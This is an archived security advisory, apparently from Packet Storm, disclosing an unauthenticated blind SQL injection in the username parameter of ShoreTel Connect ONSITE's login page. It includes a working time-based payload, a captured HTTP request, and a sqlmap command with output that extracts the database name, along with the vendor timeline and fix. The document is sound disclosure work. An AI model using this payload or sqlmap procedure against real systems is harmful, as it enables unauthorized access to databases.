what you don't know can hurt you

ShoreTel Connect ONSITE Blind SQL Injection

ShoreTel Connect ONSITE Blind SQL Injection
Posted Sep 19, 2016
Authored by Iraklis Mathiopoulos

ShoreTel Connect ONSITE versions 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0 suffer from an unauthenticated remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | f79a4ca30062360e0dd39f25e54313b7

ShoreTel Connect ONSITE Blind SQL Injection

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
=======================================================================
vulnerability type: Unauthenticated Blind SQL Injection
product: ShoreTel Connect ONSITE
vulnerable version: 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0
fixed version: 21.79.9308.0
homepage:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
discovery: 2016-07
by: Iraklis Mathiopoulos

https://medium.com/@iraklis
========================================================================

Vendor description:
- -------------------
"ShoreTel is one of the largest providers of cloud, premises-based and hybrid
business telephony and unified communications (UC) solutions. Our award-winning,
brilliantly simple communications offerings lead the industry in customer
satisfaction and lowest total cost of ownership. Our innovative business phones,
application integration, collaboration tools, mobility, and contact center
applications empower organizations and employees to collaborate,
connect and work
no matter time, place or device."

URL: https://www.shoretel.com/


Vulnerability overview/description:
- -----------------------------------
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable
to a Blind SQL Injection in /authenticate.php, on the webserver that
is running the
Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.


Proof of Concept:
- -----------------

req.burp:
- ---
POST https://conference.shoretel.com/authenticate.php HTTP/1.1
Host: conference.shoretel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://conference.shoretel.com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

root@kali:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10 --level=5 --risk=3 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201607120a89}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org


[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: shoreware
current database: 'shoreware'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/conference.shoretel.com'

[*] shutting down at 20:21:10



Vulnerable / tested versions:
- -----------------------------
Version 21.79.4311.0 of ShoreTel Connect ONSITE was found to be
vulnerable. This version was the latest version at the time of the
discovery.


Vendor contact timeline:
- ------------------------
2016-07-23: Initial email was sent to multiple Vendor email addresses
2016-07-24: Initial Vendor reply acknowledging email receipt
2016-07-26: Email from vendor requiring more information
2016-07-26: Reply with full technical details
2016-08-04: Vendor releases upgrade fixing the vulnerability
2016-08-30: Email to CERT
2016-09-06: CERT alerts CERT-US
2016-09-19: Public Disclosure


Solution:
- ---------
The latest version of ShoreTel Connect ONSITE should be installed
immediately. This update can be found at:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBCAAGBQJX3+ClAAoJECvKFEKpDztj9uoIAILxYo5lZNzCiuAvQXqrD5yU
p0JV9Nkb/G3hMX8I+VXDIbm1mPla/TLZYR59jcVrNTP+m+crX4Rd3f/n4GiuWPIK
6XkZYULtSvQkNWPqS6+NBlcol6KTkEgtfeXXGZrJNVHy/Bl0BSCAPInSXAkw0/A9
Gnjv49axwFGC17txR5s+Polc918X6DBFpu+7Xgj0yAEats/yS/E//BR3y+0FUUmg
UxI73hEtMe6MPH8Dzhi/DkIFOHtY30bK3Zy+CX8qTNP8WiqCivxiVdCnXev0TU/z
lXKasg9eo/o8JGa/xKD9l/JPYnbAPyyY+FYKuCcXZNk40i8v5cFCWjrbQFb4Clc=
=GfVw
-----END PGP SIGNATURE-----


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close